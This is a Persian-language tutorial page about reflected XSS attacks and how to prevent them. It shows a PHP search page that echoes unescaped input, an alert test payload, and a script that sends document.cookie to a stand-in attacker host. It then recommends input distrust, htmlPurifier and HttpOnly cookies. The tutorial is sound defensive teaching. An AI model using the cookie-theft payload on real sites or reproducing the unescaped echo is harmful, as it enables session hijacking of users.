ایجاد: ۱۹:۱۹ ۱۳۹۳/۴/۱۵
ویرایش: ۱۵:۳۳ ۱۳۹۳/۴/۱۶

آموزش‌ها

»

حملات ضدامنیتی XSS یا تزریق کد

فرض کنید سایت site.com یک سایت انجمن گفتگو، بانک یا ... پربازدید است که اگر کاربر عبارت مثلا «تست» را در آن سایت جستجو کند، به آدرس زیر منتقل می‌شود:
http://site.com/search.php?q=تست
و در صفحه نتیجه جستجو نیز در بالای صفحه، همان عبارت جستجو عینا منعکس شده است:
<?php
echo 'نتیجه جستجوی شما برای عبارت : ', $_GET['q'];
...
خب در اینجا من می‌توانم یک کد تزریق کنم مثلا بجای عبارت جستجو بنویسم:
<script>alert('Yo hoh hoh haha!!!')</script>

ممکن است بگویید: اولا که این alert را فقط خود کاربر می‌بیند و ثانیا چه ضرر امنیتی دارد؟!
پاسخ این است که یک نفوذگر، زمانی که متوجه وجود این باگ در سایت شما شود، ابتدا یک کد ساده مانند می‌سازد که کوکی کاربر فعلی که در حال مشاهده صفحه است را برای وی ارسال کند مثلا:

<script>location.href="http://hacker-site.com/save-cookie.php?data="+escape(document.cookie)</script>
خب در اینجا باز هم ممکن است بگویید که خب این آدرس حاوی کد خطرناک، فقط کوکی خود کسی که این کد تزریقی را نوشته به سمت سایت هکر می‌فرستد نه دیگران را. اما مشکل اینجاست که نفوذگر می‌تواند آدرس حاوی کد فوق را با یک کوتاه‌کننده آدرس مثل tinyurl.com کوتاه کند و سپس آن را از طریق ایمیل/انجمن/... برای دیگران ارسال کند...

XSS چندگونه است و چگونه می‌توان در برابر آن ایمن بود؟

مثال بالا، فقط یکی از صدها حالت XSS بود و این یادداشت کوتاه مجال بررسی همه حالات آن را ندارد و برای مطالعه بیشتر می‌توانید به لینک‌های انتهای مطلب مراجعه نمایید.

پس از حملات SQL Injection ، حملات XSS دومین حمله مهمی است که بر روی سایت‌های اینترنتی انجام می‌شود:

آمار حملات تزریق کد یا XSS

پیشگیری از XSS آسان است. اولا که هیچ‌یک از اطلاعاتی که توسط کاربر به شما داده شده، اعتماد نکنید؛

  • ورودی‌های فرم‌ها
    (ولو در دیتابیس ذخیره شده و سپس فراخوانی شده)
  • مواردی که همراه درخواست می‌آید مثل کوکی، سشن‌آی‌دی، آی‌پی، آدرس صفحه ارجاع و ...
و ثانیا هیچگاه به ذهن و علم ناقص خودتان برای filter کردن محتویات نامطمئن اتکاء نکنید بلکه از کتابخانه‌های قدرتمند و کاملی چون htmlPurifier استفاده کنید...

البته اگر معماری برنامه شما MVC باشد و از تمپلت انجین‌‌ معتبری نیز به صورت صحیح استفاده کرده باشید، تا حد زیادی نگرانی شما راجع به XSS مرتفع می‌شود.

به دلیل حالات بسیار زیاد و پیچیده حملات XSS ، لازم است دو نکته مهم را همواره در برنامه‌نویسی رعایت کرد:

  1. بخش زیادی از حملات XSS روی کوکی(از جمله سشن‌آی‌دی) انجام می‌شود لذا حتما در زمان ایجاد کوکی‌های حساس (مثل کوکی‌های احراز هویت) پرچم HttpOnly را ست کنید تا کوکی‌های حساس شما توسط javascript قابل دسترسی نباشد.
  2. برای ویرایش اطلاعات حساس کاربر، بهتر است مجددا از وی پسورد پرسیده شود. کاری که سایت‌های بزرگ مانند توییتر نیز انجام می‌دهند.

چند لینک مرتبط با XSS

آیا مایل به یادگیری نکات امنیتی برای حفاظت در مقابل XSS هستید؟
در کلاس‌های آنلاین آموزش امنیت در برنامه‌نویسی شرکت کنید.

یادداشت‌های مرتبط
  1. موثرترین روش برنامه‌نویسان برای مقابله با کی‌لاگر ها
  2. ارتقاء امنیت وردپرس
  3. آشنایی با دو قابلیت جدید مرورگرها: WebRTC و ضبط صدا و تصویر!
  4. لیست مواردی که برای امنیت برنامه PHP لازم است چک شود
  5. امنیت در انگولر جی‌اس
  6. انواع روش‌های شناسایی و احراز هویت کاربران یک صفحه وب
  7. پیشگیری از حملات جعل درخواست بین سایتی
  8. تنظیم اچ‌تی‌ام‌ال پیوریفایر

مدیریت

نام وسیله

اعتبار ورود

نام کاربری

رمز عبور

رمز یکبارمصرف

... لیست تمام آموزش‌ها

تبلیغات

ربات‌های تلگرامی:
مجموعه ربات‌های تلگرامی ما برای ساده‌تر کردن کار با تلگرام و مدیریت کانال و ...
خرید هاست (فضا):
دنبال یک هاست به صرفه برای شروع کار می‌گردید؟
مشخصات و قیمت‌های این مورد رو ببینید. من سال‌ها مشتری‌شون بودم و پشتیبانی‌شون هم خوب بود.
دامنه‌های فروشی:
دامنه‌های زیر مربوط به ما یا مشتریان ماست که قابل فروش هستند. در صورت تمایل به خرید یکی از آنها، مبلغ پیشنهادی را از طریق فرم ارتباطی برای ما ارسال نمایید.

دامنه‌هایی که می‌تواند مصرف مذهبی داشته باشد:
دامنه‌هایی که می‌تواند مصرف تخصصی داشته باشد:
دامنه‌هایی که می‌تواند مصرف شخصی/عمومی داشته باشد: